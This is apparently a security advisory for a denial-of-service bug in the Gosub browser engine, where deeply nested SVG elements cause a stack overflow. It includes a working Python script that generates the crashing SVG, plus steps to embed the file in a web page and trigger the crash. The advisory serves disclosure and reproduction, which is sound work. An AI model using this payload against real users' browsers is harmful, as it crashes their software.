gosub-engine: Denial of Service via Excessive XML Element Nesting
What fixes it
No source in this snapshot names a fixed version.
Description
Summary
The Gosub browser engine is vulnerable to Denial of Service when processing SVG documents containing an excessive number of nested elements. Trying to render such image causes the browser to fail resulting in application termination.
Details
Gosub browser engine does not limit the nodes that it processes in the SVG elements (only the file size on tested built limited the resource). When one creates an SVG file that contains excessive nested nodes browser tries to render it resulting in application crash. It is worth to mention that such image can be also included by <img src=file.svg /> tag allowing the attacker to include it on any website, which does not require an user to directly download a file and open it manually.
Expected behaviour would be limiting the number of nested nodes that can be processed, before throwing an error. Such pattern is implement in for example chromium engine, where when same image is displayed the following error is thrown: <img width="472" height="150" alt="image" src="https://github.com/user-attachments/assets/d2532ef0-cb7a-4dde-b122-e37ba59bf352" />
Everything was tested on the Ubuntu 26.04.1 LTS OS, on the latest build of the gosub-io/gosub-engine repository from master branch (latest commit hash c5b6ee9d69c01e88f5ffea9deb44c181855de9ad) on the gtk4-skia engine preset.
Below is a video of working Proof of Concept: https://www.youtube.com/watch?v=sqygkBEWJNU
PoC
In order to confirm that vulnerability exists:
- Prepare and build the latest (the commit, where the vulnerability was discovered) version of the repo.
- Prepare the following python script which generates the malicious SVG file:
import sys
def build_nested_groups(depth: int, inner_content: str, indent: str = " ") -> str:
if depth < 0:
raise ValueError("depth cannot be negative")
lines = []
for i in range(depth):
lines.append(f"{indent}{' ' * i}<g>")
lines.append(f"{indent}{' ' * depth}{inner_content}")
for i in reversed(range(depth)):
lines.append(f"{indent}{' ' * i}</g>")
return "\n".join(lines)
def generate_nested_svg(depth: int, filename: str = "test.svg") -> None:
if depth < 0:
raise ValueError("Depth of nested <g> elements cannot be negative")
target_rect = (
'<rect x="-120" y="-120" width="240" height="240" rx="30" '
'fill="none" stroke="url(#cyberGrad)" stroke-width="4">\n'
' <animateTransform attributeName="transform" type="rotate" from="0" to="360" dur="20s" repeatCount="indefinite" />\n'
'</rect>'
)
nested_rect_block = build_nested_groups(depth, target_rect, indent=" ")
svg_content = f'''<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 800" width="100%" height="100%">
<defs>
<radialGradient id="bgGrad" cx="50%" cy="50%" r="75%">
<stop offset="0%" stop-color="#0f172a" />
<stop offset="100%" stop-color="#020617" />
</radialGradient>
<linearGradient id="cyberGrad" x1="0%" y1="0%" x2="100%" y2="100%">
<stop offset="0%" stop-color="#06b6d4" />
<stop offset="50%" stop-color="#3b82f6" />
<stop offset="100%" stop-color="#8b5cf6" />
</linearGradient>
<filter id="glow" x="-20%" y="-20%" width="140%" height="140%">
<feGaussianBlur stdDeviation="8" result="blur" />
<feComposite in="SourceGraphic" in2="blur" operator="over" />
</filter>
</defs>
<rect width="800" height="800" fill="url(#bgGrad)" />
<g transform="translate(400, 400)">
<g filter="url(#glow)">
<!-- Zewnętrzny pierścień -->
<circle cx="0" cy="0" r="320" fill="none" stroke="url(#cyberGrad)" stroke-width="2" stroke-dasharray="10 15" opacity="0.4">
<animateTransform attributeName="transform" type="rotate" from="0" to="360" dur="60s" repeatCount="indefinite" />
</circle>
<g transform="scale(0.9)">
<polygon points="0,-300 259.8,150 -259.8,150" fill="none" stroke="#06b6d4" stroke-width="3" opacity="0.6">
<animateTransform attributeName="transform" type="rotate" from="360" to="0" dur="40s" repeatCount="indefinite" />
</polygon>
<polygon points="0,300 -259.8,-150 259.8,-150" fill="none" stroke="#8b5cf6" stroke-width="3" opacity="0.6">
<animateTransform attributeName="transform" type="rotate" from="0" to="360" dur="40s" repeatCount="indefinite" />
</polygon>
</g>
<g>
<g>
{nested_rect_block}
<g>
<rect x="-90" y="-90" width="180" height="180" rx="20" fill="rgba(6, 182, 212, 0.05)" stroke="#3b82f6" stroke-width="2">
<animateTransform attributeName="transform" type="rotate" from="360" to="0" dur="15s" repeatCount="indefinite" />
</rect>
</g>
</g>
<g transform="scale(0.8)">
<circle cx="0" cy="0" r="60" fill="#020617" stroke="#8b5cf6" stroke-width="4" />
<path d="M-20,-10 L0,-30 L20,-10 M0,-30 L0,30 M-25,20 L25,20" fill="none" stroke="#06b6d4" stroke-width="5" stroke-linecap="round" stroke-linejoin="round" />
</g>
</g>
</g>
</g>
</svg>
'''
try:
with open(filename, "w", encoding="utf-8") as f:
f.write(svg_content)
print(f"[+] Saved {filename} (Depth of nested <g> elements: {depth})")
except Exception as e:
print(f"[-] Error while saving the file: {e}")
if __name__ == "__main__":
try:
target_depth = int(sys.argv[1]) if len(sys.argv) > 1 else 3
generate_nested_svg(target_depth)
except ValueError as e:
print(f"[-] Invalid argument: {e}")
sys.exit(1)- Run the following command to generate the malicious SVG file (only 2000 nested nodes were created to fit into the 10MB file size limit):
python3 script.py 2000
- Prepare the local webserver that will contain the malicious SVG and the following HTML website:
<img src="test.svg" />
- Open the browser with the following command:
cargo run -p example-gtk4-skia
- Visit the malicious website and observe that browser crashes with the following error in the CLI:
thread 'media-fetch' (114422) has overflowed its stack fatal runtime error: stack overflow, aborting Aborted (core dumped) cargo run -p example-gtk4-skia
Impact
Vulnerability affects any user that visits the website that includes the malicious SVG file. When one visit such website the browser engine will crash with a stack overflow error, while generating a crash dump file.
Text from GitHub Advisory Database
Affected versions 1
- gosub-engine<= 0.1.0 main before 46868b3GitHub